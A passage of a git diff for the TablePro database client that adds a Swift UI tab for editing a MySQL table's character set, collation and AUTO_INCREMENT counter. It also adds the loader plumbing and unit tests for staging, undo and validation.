+        guard trimmed.unicodeScalars.allSatisfy({ ("0"..."9").contains($0) }), let value = UInt64(trimmed) else {
+            self = .invalid(maximum: maximum)
+            return
+        }
+        // An exhausted counter sits one past the column's type; the server's own value is never the user's error.
+        guard value == original || (1...maximum).contains(value) else {
+            self = .invalid(maximum: maximum)
+            return
+        }
+        self = .value(value)
+    }
+
+    // MySQL reads `INT UNSIGNED` back as INT with the column's own flag set.
+    static func maximum(for column: EditableColumnDefinition) -> UInt64 {
+        AutoIncrementRange.maximum(forColumnType: column.dataType, unsigned: column.unsigned) ?? .max
+    }
+
+    var message: String? {
+        guard case .invalid(let maximum) = self else { return nil }
+        return String(format: String(localized: "Enter a whole number from 1 to %@."), String(maximum))
+    }
+}
diff --git a/apple/TablePro/Views/Structure/TableOptionsView.swift b/apple/TablePro/Views/Structure/TableOptionsView.swift
new file mode 100644
index 0000000000..2309b09190
--- /dev/null
+++ b/apple/TablePro/Views/Structure/TableOptionsView.swift
@@ -0,0 +1,281 @@
+//
+//  TableOptionsView.swift
+//  TablePro
+//
+
+import SwiftUI
+
+// The Structure tab's Options sub-tab: the table's default character set and collation, and its AUTO_INCREMENT
+// counter. Every edit is one whole-value write to the change manager, so the coupled charset and collation pick
+// lands as one staged change and one undo step.
+internal struct TableOptionsView: View {
+    @ObservedObject var session: StructureEditingSession
+    @ObservedObject var changeManager: StructureChangeManager
+    let isReadOnly: Bool
+    // The draft AUTO_INCREMENT column's largest value, nil when the table has none.
+    let autoIncrementMaximum: UInt64?
+    let onRetry: () -> Void
+    let onRetryCatalog: () -> Void
+
+    @State private var counterText = ""
+    @FocusState private var isCounterFocused: Bool
+
+    var body: some View {
+        Group {
+            if let options = displayedOptions {
+                form(options)
+            } else {
+                stateView
+            }
+        }
+        .frame(maxWidth: .infinity, maxHeight: .infinity)
+        .onAppear { syncCounterText() }
+        .onChange(of: displayedCounter) { _ in
+            guard !isCounterFocused else { return }
+            syncCounterText()
+        }
+        .onChange(of: isCounterFocused) { isFocused in
+            if !isFocused { syncCounterText() }
+        }
+    }
+
+    // MARK: - State
+
+    private var draft: TableOptions? { changeManager.tableOptions.current }
+
+    // A read that landed while edits were staged has not become the baseline yet, so it shows read-only.
+    private var displayedOptions: TableOptions? {
+        draft ?? (session.tableOptions.value ?? nil)
+    }
+
+    private var isCounterConfirmed: Bool {
+        session.autoIncrementRead == .confirmed && changeManager.tableOptions.isAutoIncrementConfirmed
+    }
+
+    // An unconfirmed counter may be one the server moved past; a read deferred behind staged edits shows read-only.
+    private var displayedCounter: UInt64? {
+        guard session.autoIncrementRead == .confirmed else { return nil }
+        guard changeManager.tableOptions.isAutoIncrementConfirmed else { return session.loadedTableOptions?.autoIncrement }
+        return displayedOptions?.autoIncrement
+    }
+
+    private var editability: StructureTableOptionsPolicy.Editability {
+        StructureTableOptionsPolicy.resolve(
+            hasBaseline: draft != nil,
+            isReadOnly: isReadOnly,
+            isSaving: changeManager.isHeldForSave
+        )
+    }
+
+    private var catalog: TableOptionsCatalog? {
+        guard case .loaded(let catalog) = session.tableOptionsCatalog else { return nil }
+        return catalog
+    }
+
+    @ViewBuilder
+    private var stateView: some View {
+        switch session.tableOptions {
+        case .idle, .loading:
+            ProgressView()
+                .controlSize(.small)
+        case .failed(let message):
+            VStack(spacing: 8) {
+                Image(systemName: "exclamationmark.triangle")
+                    .font(.largeTitle)
+                    .foregroundStyle(.orange)
+                    .accessibilityHidden(true)
+                Text("Couldn't read the table options")
+                RevealedTextView(message)
+                    .foregroundStyle(.secondary)
+                Button("Try Again", action: onRetry)
+                    .accessibilityIdentifier("structure-options-retry")
+            }
+            .padding()
+        case .loaded:
+            Text("This table has no options to change.")
+                .foregroundStyle(.secondary)
+        }
+    }
+
+    // MARK: - Form
+
+    private func form(_ options: TableOptions) -> some View {
+        let editability = self.editability
+        return Form {
+            Section {
+                Picker("Character Set", selection: characterSetBinding) {
+                    if options.characterSet == nil {
+                        Text("Unknown").tag(String?.none)
+                    }
+                    ForEach(TableOptionsForm.characterSets(in: catalog, keeping: options.characterSet), id: \.self) {
+                        Text($0).tag(Optional($0))
+                    }
+                }
+                .disabled(!editability.isEditable || catalog == nil)
+                .accessibilityIdentifier("structure-options-charset")
+
+                Picker("Collation", selection: collationBinding) {
+                    if options.collation == nil {
+                        Text("Unknown").tag(String?.none)
+                    }
+                    ForEach(collationChoices(options)) { choice in
+                        Text(choice.title).tag(Optional(choice.name))
+                    }
+                }
+                .disabled(!editability.isEditable || catalog == nil)
+                .accessibilityIdentifier("structure-options-collation")
+
+                Toggle("Convert existing columns", isOn: convertBinding)
+                    .disabled(!editability.isEditable)
+                    .accessibilityIdentifier("structure-options-convert")
+
+                catalogStatusRow
+            } footer: {
+                if options.convertsColumns {
+                    Text("Rewrites every text column to this character set. TEXT can grow to MEDIUMTEXT, and the table is copied while it runs.")
+                } else {
+                    Text("Applies to columns added later. Existing columns keep their character set.")
+                }
+            }
+
+            if let maximum = autoIncrementMaximum {
+                counterSection(maximum: maximum, isEditable: editability.isEditable)
+            }
+        }
+        .formStyle(.grouped)
+        .safeAreaInset(edge: .bottom, spacing: 0) {
+            if let reason = editability.unavailableReason, !changeManager.isHeldForSave {
+                StructureTabNoteView(systemImage: "lock", text: reason, identifier: "structure-options-unavailable-note")
+            }
+        }
+    }
+
+    private func collationChoices(_ options: TableOptions) -> [TableOptionsForm.Choice] {
+        TableOptionsForm.collations(in: catalog, characterSet: options.characterSet, keeping: options.collation)
+    }
+
+    @ViewBuilder
+    private var catalogStatusRow: some View {
+        switch session.tableOptionsCatalog {
+        case .idle, .loading:
+            HStack {
+                Text("Reading the server's character sets…")
+                    .foregroundStyle(.secondary)
+                Spacer()
+                ProgressView()
+                    .controlSize(.small)
+            }
+        case .failed:
+            HStack {
+                Label("Couldn't read the server's character sets.", systemImage: "exclamationmark.triangle")
+                    .foregroundStyle(.secondary)
+                Spacer()
+                Button("Try Again", action: onRetryCatalog)
+                    .accessibilityIdentifier("structure-options-catalog-retry")
+            }
+        case .loaded:
+            EmptyView()
+        }
+    }
+
+    private func counterSection(maximum: UInt64, isEditable: Bool) -> some View {
+        Section {
+            TextField("Next Auto Increment", text: counterBinding)
+                .focused($isCounterFocused)
+                .disabled(!isEditable || !isCounterConfirmed)
+                .accessibilityIdentifier("structure-options-auto-increment")
+            // The server raises a value below the next free one, so a saved counter is read back, never shown as typed.
+            switch session.autoIncrementRead {
+            case .rereading:
+                HStack {
+                    Text("Reading the saved value…")
+                        .foregroundStyle(.secondary)
+                    Spacer()
+                    ProgressView()
+                        .controlSize(.small)
+                }
+            case .unconfirmed:
+                HStack {
+                    Label("Couldn't read the saved value.", systemImage: "exclamationmark.triangle")
+                        .foregroundStyle(.secondary)
+                    Spacer()
+                    Button("Try Again", action: onRetry)
+                        .accessibilityIdentifier("structure-options-auto-increment-retry")
+                }
+            case .confirmed:
+                EmptyView()
+            }
+            if let message = AutoIncrementEntry(
+                counterText, maximum: maximum, original: changeManager.tableOptions.original?.autoIncrement
+            ).message {
+                Text(message)
+                    .foregroundStyle(.red)
+                    .accessibilityIdentifier("structure-options-auto-increment-error")
+            }
+        } footer: {
+            Text("A value at or below the highest existing ID becomes that ID plus one.")
+        }
+    }
+
+    // MARK: - Bindings
+
+    private var characterSetBinding: Binding<String?> {
+        Binding(
+            get: { displayedOptions?.characterSet },
+            set: { name in
+                guard let name, let current = draft, name != current.characterSet else { return }
+                changeManager.stageTableOptions(TableOptionsForm.selectingCharacterSet(name, in: current, catalog: catalog))
+            }
+        )
+    }
+
+    private var collationBinding: Binding<String?> {
+        Binding(
+            get: { displayedOptions?.collation },
+            set: { name in
+                guard let name, var next = draft, name != next.collation else { return }
+                next.collation = name
+                changeManager.stageTableOptions(next)
+            }
+        )
+    }
+
+    private var convertBinding: Binding<Bool> {
+        Binding(
+            get: { displayedOptions?.convertsColumns ?? false },
+            set: { converts in
+                guard var next = draft, converts != next.convertsColumns else { return }
+                next.convertsColumns = converts
+                changeManager.stageTableOptions(next)
+            }
+        )
+    }
+
+    // Staged per keystroke, as the comment is, so a save from the keyboard never misses a value still in the field.
+    // Text that is not a valid counter stages the loaded one and holds Save until it is fixed or cleared.
+    private var counterBinding: Binding<String> {
+        Binding(
+            get: { counterText },
+            set: { text in
+                counterText = text
+                guard var next = draft, let maximum = autoIncrementMaximum else { return }
+                let entry = AutoIncrementEntry(
+                    text, maximum: maximum, original: changeManager.tableOptions.original?.autoIncrement
+                )
+                switch entry {
+                case .value(let value):
+                    next.autoIncrement = value
+                case .empty, .invalid:
+                    next.autoIncrement = changeManager.tableOptions.original?.autoIncrement
+                }
+                changeManager.noteAutoIncrementEntry(invalid: entry.message)
+                guard next != draft else { return }
+                changeManager.stageTableOptions(next)
+            }
+        )
+    }
+
+    private func syncCounterText() {
+        counterText = displayedCounter.map { String($0) } ?? ""
+    }
+}
diff --git a/apple/TablePro/Views/Structure/TableStructureLoader.swift b/apple/TablePro/Views/Structure/TableStructureLoader.swift
index 6dd58668e9..4d7a04bcd5 100644
--- a/apple/TablePro/Views/Structure/TableStructureLoader.swift
+++ b/apple/TablePro/Views/Structure/TableStructureLoader.swift
@@ -34,6 +34,8 @@ struct TableStructureLoader {
         let foreignKeys: [ForeignKeyInfo]
         /// Nil when the comment was not asked for.
         let tableComment: MetadataFetchOutcome<String?>?
+        /// Nil when the options were not asked for.
+        let tableOptions: MetadataFetchOutcome<TableOptions?>?
     }
 
     func columns() async throws -> [ColumnInfo] {
@@ -71,6 +73,21 @@ struct TableStructureLoader {
         return try await perform { try await $0.fetchObjectComment(tableName: table) }
     }
 
+    func tableOptions() async throws -> TableOptions? {
+        let table = tableName
+        return try await perform { try await $0.fetchTableOptions(tableName: table) }
+    }
+
+    func tableOptionsCatalog() async throws -> TableOptionsCatalog? {
+        try await perform { try await $0.fetchTableOptionsCatalog() }
+    }
+
+    /// What a new table in this scope's schema takes when it names no character set.
+    func defaultTableOptions() async throws -> TableOptions? {
+        let schema = scope.schema
+        return try await perform { try await $0.fetchDefaultTableOptions(schema: schema) }
+    }
+
     func concurrentRefreshAvailability() async throws -> PluginConcurrentRefreshAvailability? {
         try await MaterializedViewRefreshing.concurrentRefreshAvailability(
             of: DatabaseObjectTarget(name: tableName, type: .materializedView, schema: scope.schema, scope: scope),
@@ -78,25 +95,39 @@ struct TableStructureLoader {
         )
     }
 
-    /// A comment that fails to load is reported in the result, so the columns still land.
-    func coreTabs(includingForeignKeys: Bool, includingTableComment: Bool) async throws -> CoreTabs {
+    /// A comment or options read that fails is reported in the result, so the columns still land.
+    func coreTabs(
+        includingForeignKeys: Bool,
+        includingTableComment: Bool,
+        includingTableOptions: Bool = false
+    ) async throws -> CoreTabs {
         let table = tableName
         let schema = scope.schema
         return try await perform { driver in
             let columns = try await driver.fetchColumns(table: table, schema: schema)
             let indexes = try await driver.fetchIndexes(table: table, schema: schema)
             let foreignKeys = includingForeignKeys ? try await driver.fetchForeignKeys(table: table, schema: schema) : []
-            var comment: MetadataFetchOutcome<String?>?
-            if includingTableComment {
-                do {
-                    comment = .fetched(try await driver.fetchObjectComment(tableName: table))
-                } catch is CancellationError {
-                    comment = .cancelled
-                } catch {
-                    comment = .failed(error.localizedDescription)
-                }
-            }
-            return CoreTabs(columns: columns, indexes: indexes, foreignKeys: foreignKeys, tableComment: comment)
+            let comment: MetadataFetchOutcome<String?>? = includingTableComment
+                ? await Self.outcome { try await driver.fetchObjectComment(tableName: table) }
+                : nil
+            let options: MetadataFetchOutcome<TableOptions?>? = includingTableOptions
+                ? await Self.outcome { try await driver.fetchTableOptions(tableName: table) }
+                : nil
+            return CoreTabs(
+                columns: columns, indexes: indexes, foreignKeys: foreignKeys, tableComment: comment, tableOptions: options
+            )
+        }
+    }
+
+    nonisolated private static func outcome<Value: Sendable>(
+        of read: () async throws -> Value
+    ) async -> MetadataFetchOutcome<Value> {
+        do {
+            return .fetched(try await read())
+        } catch is CancellationError {
+            return .cancelled
+        } catch {
+            return .failed(error.localizedDescription)
         }
     }
 
diff --git a/apple/TablePro/Views/Structure/TableStructureView+DataLoading.swift b/apple/TablePro/Views/Structure/TableStructureView+DataLoading.swift
index aa00fed716..d41c293577 100644
--- a/apple/TablePro/Views/Structure/TableStructureView+DataLoading.swift
+++ b/apple/TablePro/Views/Structure/TableStructureView+DataLoading.swift
@@ -20,6 +20,7 @@ extension TableStructureView {
             isInitialLoading = false
             isLoading = false
             await session.reloadConcurrentRefreshAvailability()
+            await loadTableOptionsCatalogIfNeeded()
             return
         }
         await loadColumns()
@@ -31,9 +32,13 @@ extension TableStructureView {
         guard !Task.isCancelled else { return }
         await loadTableComment()
         guard !Task.isCancelled else { return }
+        await session.readTableOptions()
+        guard !Task.isCancelled else { return }
         adoptFetchedBaseline()
         session.hasLoaded = true
         isInitialLoading = false
+        // After the baseline, so the columns are editable while the catalog is read.
+        await loadTableOptionsCatalogIfNeeded()
     }
 
     func loadColumns() async {
@@ -85,7 +90,7 @@ extension TableStructureView {
                     Self.logger.error("Failed to load triggers: \(error.publicLogShape, privacy: .public)")
                     triggers = []
                 }
-            case .parts:
+            case .parts, .options:
                 return
             }
             tabData.markFetched(tab)
@@ -181,11 +186,13 @@ extension TableStructureView {
         gridAdapter.referenceMenus.invalidateTableLists()
         partsReloadToken += 1
         await reloadCoreTabs()
-        if selectedTab == .ddl {
+        switch selectedTab {
+        case .ddl:
             await fetchTabData(.ddl)
-        }
-        if selectedTab == .triggers, connection.type.supportsTriggers {
+        case .triggers where connection.type.supportsTriggers:
             await fetchTabData(.triggers)
+        case .columns, .indexes, .foreignKeys, .checkConstraints, .triggers, .options, .parts:
+            break
         }
     }
 
@@ -195,15 +202,21 @@ extension TableStructureView {
         defer { isLoading = false }
 
         let includesForeignKeys = connection.type.supportsForeignKeys
+        let offersTableOptions = session.offersTableOptionsTab
         do {
             let reloaded = try await structureLoader.coreTabs(
                 includingForeignKeys: includesForeignKeys,
-                includingTableComment: offersTableComment
+                includingTableComment: offersTableComment,
+                includingTableOptions: offersTableOptions
             )
 
             if let comment = reloaded.tableComment {
                 session.settleTableComment(comment)
             }
+            // A save never adopts the counter it wrote: the server raises a low value, so this read is what shows.
+            if let options = reloaded.tableOptions {
+                session.settleTableOptions(options)
+            }
             columns = reloaded.columns
             indexes = reloaded.indexes
             tabData.markFetched(.columns)
@@ -214,6 +227,10 @@ extension TableStructureView {
             }
             await session.reloadConcurrentRefreshAvailability()
         } catch {
+            // A counter re-read the save started ends unconfirmed, keeping the options already on screen.
+            if offersTableOptions {
+                session.settleTableOptions(.cancelled)
+            }
             guard let message = fetchFailure(error).message else { return }
             Self.logger.error("Failed to reload structure: \(error.publicLogShape, privacy: .public)")
             errorMessage = message
diff --git a/apple/TablePro/Views/Structure/TableStructureView+TableOptions.swift b/apple/TablePro/Views/Structure/TableStructureView+TableOptions.swift
new file mode 100644
index 0000000000..c79144bf01
--- /dev/null
+++ b/apple/TablePro/Views/Structure/TableStructureView+TableOptions.swift
@@ -0,0 +1,46 @@
+//
+//  TableStructureView+TableOptions.swift
+//  TablePro
+//
+
+import SwiftUI
+
+internal extension TableStructureView {
+    var tableOptionsView: some View {
+        TableOptionsView(
+            session: session,
+            changeManager: structureChangeManager,
+            isReadOnly: toolbarState.safeModeLevel.blocksAllWrites || isSessionBound,
+            autoIncrementMaximum: autoIncrementMaximum,
+            onRetry: { Task { await session.readTableOptions() } },
+            onRetryCatalog: { Task { await session.readTableOptionsCatalog() } }
+        )
+        .task { await session.readTableOptionsCatalog() }
+    }
+
+    // The draft's column, not the loaded one: the counter is set after the column work in the same save.
+    private var autoIncrementMaximum: UInt64? {
+        let columns = structureChangeManager.workingColumns
+        let index = columns.indices.first { index in
+            columns[index].autoIncrement
+                && !structureChangeManager.deleteInsertState(for: index, tab: .columns).isDeleted
+        }
+        return index.map { AutoIncrementEntry.maximum(for: columns[$0]) }
+    }
+
+    func loadTableOptionsCatalogIfNeeded() async {
+        guard session.needsTableOptionsCatalog else { return }
+        await session.readTableOptionsCatalog()
+    }
+
+    // Like the comment: options changed elsewhere refetch columns identical to the loaded ones.
+    func onTableOptionsChanged() {
+        rebaselineUnlessEdited()
+    }
+
+    // A retried read can return the options already loaded, which moves only this.
+    func onAutoIncrementReadChanged(_ read: AutoIncrementReadState) {
+        guard read == .confirmed else { return }
+        rebaselineUnlessEdited()
+    }
+}
diff --git a/apple/TablePro/Views/Structure/TableStructureView.swift b/apple/TablePro/Views/Structure/TableStructureView.swift
index 30afcfce05..c169d8763e 100644
--- a/apple/TablePro/Views/Structure/TableStructureView.swift
+++ b/apple/TablePro/Views/Structure/TableStructureView.swift
@@ -166,6 +166,9 @@ struct TableStructureView: View {
         .onChange(of: foreignKeys) { _ in onForeignKeysChanged() }
         .onChange(of: checkConstraints) { _ in onCheckConstraintsChanged() }
         .onChange(of: session.tableComment) { _ in onTableCommentChanged() }
+        .onChange(of: session.tableOptions) { _ in onTableOptionsChanged() }
+        .onChange(of: session.autoIncrementRead) { read in onAutoIncrementReadChanged(read) }
+        .onChange(of: session.tableOptionsCatalog) { _ in gridAdapter.characterSetCatalogDidChange() }
         .onChange(of: isTableCommentFocused) { isFocused in
             if !isFocused { structureChangeManager.endTableCommentRun() }
         }
@@ -270,7 +273,7 @@ struct TableStructureView: View {
         case .foreignKeys: return foreignKeys.count
         case .triggers: return triggers.count
         case .checkConstraints: return checkConstraints.count
-        case .ddl, .parts: return nil
+        case .options, .ddl, .parts: return nil
         }
     }
 
@@ -327,6 +330,8 @@ struct TableStructureView: View {
                 canEdit: editGate.allowsTriggerEditing,
                 onOpenInEditor: openTriggerInEditor
             )
+        case .options:
+            tableOptionsView
         case .ddl:
             ddlView
         case .parts:
diff --git a/apple/TableProTests/Core/Database/TableOptionsEligibilityTests.swift b/apple/TableProTests/Core/Database/TableOptionsEligibilityTests.swift
new file mode 100644
index 0000000000..a735599e4d
--- /dev/null
+++ b/apple/TableProTests/Core/Database/TableOptionsEligibilityTests.swift
@@ -0,0 +1,101 @@
+//
+//  TableOptionsEligibilityTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+private final class NoOptionsDriver: PluginDriverStub, @unchecked Sendable {}
+
+private final class TableOptionsDriver: PluginDriverStub, @unchecked Sendable {
+    private let writesOptions: Bool
+
+    init(writesOptions: Bool) {
+        self.writesOptions = writesOptions
+    }
+
+    func tableOptionsStatement(table: String, schema: String?, change: PluginTableOptionsChange) -> String? {
+        writesOptions ? "ALTER TABLE \(table) DEFAULT CHARACTER SET \(change.characterSet ?? "")" : nil
+    }
+
+    func fetchTableOptions(table: String, schema: String?) async throws -> PluginTableOptions? {
+        PluginTableOptions(characterSet: "latin1", collation: "latin1_swedish_ci", autoIncrement: 42)
+    }
+
+    func fetchTableOptionsCatalog() async throws -> PluginTableOptionsCatalog? {
+        PluginTableOptionsCatalog(
+            characterSets: [
+                PluginCharacterSet(
+                    name: "utf8mb4", defaultCollation: "utf8mb4_0900_ai_ci",
+                    collations: ["utf8mb4_0900_ai_ci", "utf8mb4_bin"], description: "UTF-8 Unicode"
+                )
+            ],
+            engines: ["InnoDB", "MyISAM"],
+            defaultEngine: "InnoDB"
+        )
+    }
+
+    func fetchDefaultTableOptions(schema: String?) async throws -> PluginTableOptions? {
+        PluginTableOptions(characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci")
+    }
+}
+
+@MainActor
+struct TableOptionsEligibilityTests {
+    private func adapter(writesOptions: Bool) -> PluginDriverAdapter {
+        PluginDriverAdapter(
+            connection: TestFixtures.makeConnection(database: "shop", type: .mysql),
+            pluginDriver: TableOptionsDriver(writesOptions: writesOptions)
+        )
+    }
+
+    @Test("A driver with a table options statement offers them on tables and nowhere else")
+    func offeredOnTablesOfADriverThatWritesThem() {
+        let driver = adapter(writesOptions: true)
+
+        #expect(DatabaseObjectToolEligibility.offersTableOptions(driver: driver, objectKind: .table))
+        #expect(DatabaseObjectToolEligibility.offersTableOptions(driver: driver, objectKind: .partitionedTable))
+        #expect(!DatabaseObjectToolEligibility.offersTableOptions(driver: driver, objectKind: .view))
+        #expect(!DatabaseObjectToolEligibility.offersTableOptions(driver: driver, objectKind: .materializedView))
+    }
+
+    @Test("A driver without the statement, or no driver, offers none")
+    func notOfferedWithoutTheStatement() {
+        #expect(!DatabaseObjectToolEligibility.offersTableOptions(driver: adapter(writesOptions: false), objectKind: .table))
+        #expect(!DatabaseObjectToolEligibility.offersTableOptions(driver: nil, objectKind: .table))
+    }
+
+    @Test("The adapter maps the plugin's options and catalog")
+    func adapterMapsOptionsAndCatalog() async throws {
+        let driver = adapter(writesOptions: true)
+
+        let options = try await driver.fetchTableOptions(tableName: "orders")
+        let catalog = try #require(try await driver.fetchTableOptionsCatalog())
+        let defaults = try await driver.fetchDefaultTableOptions(schema: "shop")
+
+        #expect(options == TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci", autoIncrement: 42))
+        #expect(catalog.characterSets == [TableCharacterSet(
+            name: "utf8mb4", defaultCollation: "utf8mb4_0900_ai_ci",
+            collations: ["utf8mb4_0900_ai_ci", "utf8mb4_bin"], description: "UTF-8 Unicode"
+        )])
+        #expect(catalog.engines == ["InnoDB", "MyISAM"])
+        #expect(catalog.defaultEngine == "InnoDB")
+        #expect(defaults == TableOptions(characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci"))
+    }
+
+    @Test("An engine with no table options reads nil through the adapter")
+    func engineWithoutOptionsReadsNil() async throws {
+        let driver = PluginDriverAdapter(
+            connection: TestFixtures.makeConnection(type: .postgresql), pluginDriver: NoOptionsDriver()
+        )
+
+        #expect(try await driver.fetchTableOptions(tableName: "orders") == nil)
+        #expect(try await driver.fetchTableOptionsCatalog() == nil)
+        #expect(driver.tableOptionsStatement(
+            tableName: "orders", schema: nil, change: PluginTableOptionsChange(autoIncrement: 5)
+        ) == nil)
+    }
+}
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableOptionsTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableOptionsTests.swift
new file mode 100644
index 0000000000..80422ba881
--- /dev/null
+++ b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerTableOptionsTests.swift
@@ -0,0 +1,360 @@
+//
+//  StructureChangeManagerTableOptionsTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+@MainActor
+struct StructureChangeManagerTableOptionsTests {
+    private static let loaded = TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci", autoIncrement: 4)
+
+    private func makeManager(
+        options: TableOptions? = StructureChangeManagerTableOptionsTests.loaded,
+        idType: String = "INT",
+        autoIncrement: Bool = true
+    ) -> StructureChangeManager {
+        let manager = StructureChangeManager()
+        manager.loadSchema(
+            tableName: "t",
+            columns: [
+                ColumnInfo(name: "id", dataType: idType, isNullable: false, isPrimaryKey: true,
+                           extra: autoIncrement ? "auto_increment" : nil),
+                ColumnInfo(name: "name", dataType: "VARCHAR(32)", isNullable: true, isPrimaryKey: false,
+                           charset: "latin1", collation: "latin1_swedish_ci")
+            ],
+            indexes: [],
+            foreignKeys: [],
+            primaryKey: ["id"],
+            tableOptions: options
+        )
+        return manager
+    }
+
+    private func staged(_ manager: StructureChangeManager, _ edit: (inout TableOptions) -> Void) {
+        guard var options = manager.tableOptions.current else {
+            Issue.record("No table options loaded")
+            return
+        }
+        edit(&options)
+        manager.stageTableOptions(options)
+    }
+
+    private static func toUTF8(_ options: inout TableOptions) {
+        options.characterSet = "utf8mb4"
+        options.collation = "utf8mb4_0900_ai_ci"
+    }
+
+    private func edit(_ manager: StructureChangeManager, column row: Int, _ change: (inout EditableColumnDefinition) -> Void) {
+        var column = manager.workingColumns[row]
+        change(&column)
+        manager.updateColumn(id: column.id, with: column)
+    }
+
+    @Test("Text in Next Auto Increment that is not a counter holds Save and counts as unsaved until cleared")
+    func invalidCounterEntryHoldsTheSave() {
+        let manager = makeManager()
+        staged(manager, Self.toUTF8)
+        manager.noteAutoIncrementEntry(invalid: "Enter a whole number from 1 to 2147483647.")
+
+        #expect(manager.hasChanges)
+        #expect(!manager.canCommit)
+        #expect(manager.validationErrors[.autoIncrement] == "Enter a whole number from 1 to 2147483647.")
+
+        manager.noteAutoIncrementEntry(invalid: nil)
+        #expect(manager.canCommit)
+
+        manager.noteAutoIncrementEntry(invalid: "Enter a whole number from 1 to 2147483647.")
+        manager.discardChanges()
+        #expect(!manager.hasChanges)
+        #expect(manager.validationErrors.isEmpty)
+    }
+
+    @Test("A table with no AUTO_INCREMENT column keeps no counter text to hold Save with")
+    func invalidCounterEntryNeedsACounter() {
+        let manager = makeManager(autoIncrement: false)
+        manager.noteAutoIncrementEntry(invalid: "Enter a whole number from 1 to 2147483647.")
+        #expect(!manager.hasChanges)
+    }
+
+    @Test("Loading seeds the options with nothing staged and nothing to undo")
+    func loadSeedsTheOptions() {
+        let manager = makeManager()
+
+        #expect(manager.tableOptions.original == Self.loaded)
+        #expect(manager.tableOptions.current == Self.loaded)
+        #expect(!manager.hasChanges)
+        #expect(!manager.canUndo)
+    }
+
+    @Test("A new character set and collation stage one change, written as one value")
+    func characterSetStagesOneChange() {
+        let manager = makeManager()
+
+        staged(manager, Self.toUTF8)
+
+        #expect(manager.getChangesArray() == [.modifyTableCharacterSet(
+            old: TableOptions(characterSet: "latin1", collation: "latin1_swedish_ci"),
+            new: TableOptions(characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci")
+        )])
+    }
+
+    @Test("A character set and a counter stage two changes, and setting them back stages none")
+    func bothStageTwoChanges() {
+        let manager = makeManager()
+
+        staged(manager) { Self.toUTF8(&$0); $0.autoIncrement = 500 }
+        #expect(manager.pendingChanges[.tableCharacterSet] != nil)
+        #expect(manager.pendingChanges[.autoIncrement] == .modifyAutoIncrement(old: 4, new: 500))
+
+        manager.stageTableOptions(Self.loaded)
+        #expect(!manager.hasChanges)
+    }
+
+    @Test("A counter edit leaves the staged character set change as it was")
+    func counterEditKeepsTheCharacterSetChange() {
+        let manager = makeManager()
+        staged(manager, Self.toUTF8)
+        let characterSetChange = manager.pendingChanges[.tableCharacterSet]
+
+        staged(manager) { $0.autoIncrement = 900 }
+
+        #expect(manager.pendingChanges[.tableCharacterSet] == characterSetChange)
+    }
+
+    @Test("Each write is one undo step, and redo brings it back")
+    func eachWriteIsOneUndoStep() {
+        let manager = makeManager()
+        staged(manager, Self.toUTF8)
+        staged(manager) { $0.autoIncrement = 500 }
+
+        manager.undo()
+        #expect(manager.tableOptions.current?.autoIncrement == 4)
+        #expect(manager.tableOptions.current?.characterSet == "utf8mb4")
+        #expect(manager.pendingChanges[.autoIncrement] == nil)
+
+        manager.undo()
+        #expect(manager.tableOptions.current == Self.loaded)
+        #expect(!manager.hasChanges)
+        #expect(!manager.canUndo)
+
+        manager.redo()
+        #expect(manager.tableOptions.current?.collation == "utf8mb4_0900_ai_ci")
+        #expect(manager.pendingChanges[.tableCharacterSet] != nil)
+    }
+
+    @Test("Discard restores the loaded options")
+    func discardRestoresTheOptions() {
+        let manager = makeManager()
+        staged(manager) { Self.toUTF8(&$0); $0.convertsColumns = true; $0.autoIncrement = 500 }
+
+        manager.discardChanges()
+
+        #expect(manager.tableOptions.current == Self.loaded)
+        #expect(!manager.hasChanges)
+        #expect(!manager.canUndo)
+    }
+
+    @Test("Options that failed to load stage nothing")
+    func failedReadStagesNothing() {
+        let manager = makeManager(options: nil)
+
+        manager.stageTableOptions(TableOptions(characterSet: "utf8mb4", collation: "utf8mb4_bin", autoIncrement: 10))
+
+        #expect(manager.tableOptions.current == nil)
+        #expect(!manager.hasChanges)
+        #expect(!manager.canUndo)
+    }
+
+    @Test("A save hold refuses a table options edit")
+    func holdRefusesStaging() throws {
+        let manager = makeManager()
+        staged(manager, Self.toUTF8)
+        let changes = manager.getChangesArray()
+        _ = try #require(manager.holdForSave())
+
+        manager.stageTableOptions(Self.loaded)
+
+        #expect(manager.getChangesArray() == changes)
+    }
+
+    @Test("A save that wrote adopts the character set and keeps the counter's baseline for the re-read")
+    func writtenReleaseAdoptsTheCharacterSetOnly() throws {
+        let manager = makeManager()
+        staged(manager) { Self.toUTF8(&$0); $0.convertsColumns = true; $0.autoIncrement = 2 }
+        let hold = try #require(manager.holdForSave())
+
+        #expect(manager.releaseHold(hold, written: true))
+
+        #expect(manager.tableOptions.original == TableOptions(
+            characterSet: "utf8mb4", collation: "utf8mb4_0900_ai_ci", autoIncrement: 4
+        ))
+        #expect(manager.tableOptions.current == manager.tableOptions.original)
+        #expect(!manager.hasChanges)
+        #expect(!manager.tableOptions.isAutoIncrementConfirmed)
+    }
+
+    @Test("A save that did not write keeps the options staged")
+    func unwrittenReleaseKeepsTheOptions() throws {
+        let manager = makeManager()
+        staged(manager, Self.toUTF8)
+        let hold = try #require(manager.holdForSave())
+
+        #expect(!manager.releaseHold(hold, written: false))
+
+        #expect(manager.pendingChanges[.tableCharacterSet] != nil)
+        #expect(manager.canUndo)
+        #expect(manager.tableOptions.isAutoIncrementConfirmed)
+    }
+
+    @Test("A written counter refuses a counter edit through a discard, until a confirmed baseline loads")
+    func writtenCounterRefusesEditsUntilConfirmed() throws {
+        let manager = makeManager()
+        staged(manager) { $0.autoIncrement = 500 }
+        let hold = try #require(manager.holdForSave())
+        #expect(manager.releaseHold(hold, written: true))
+
+        staged(manager) { $0.autoIncrement = 6 }
+        #expect(!manager.hasChanges)
+        manager.discardChanges()
+        #expect(!manager.tableOptions.isAutoIncrementConfirmed)
+
+        manager.loadSchema(
+            tableName: "t", columns: [], indexes: [], foreignKeys: [], primaryKey: [],
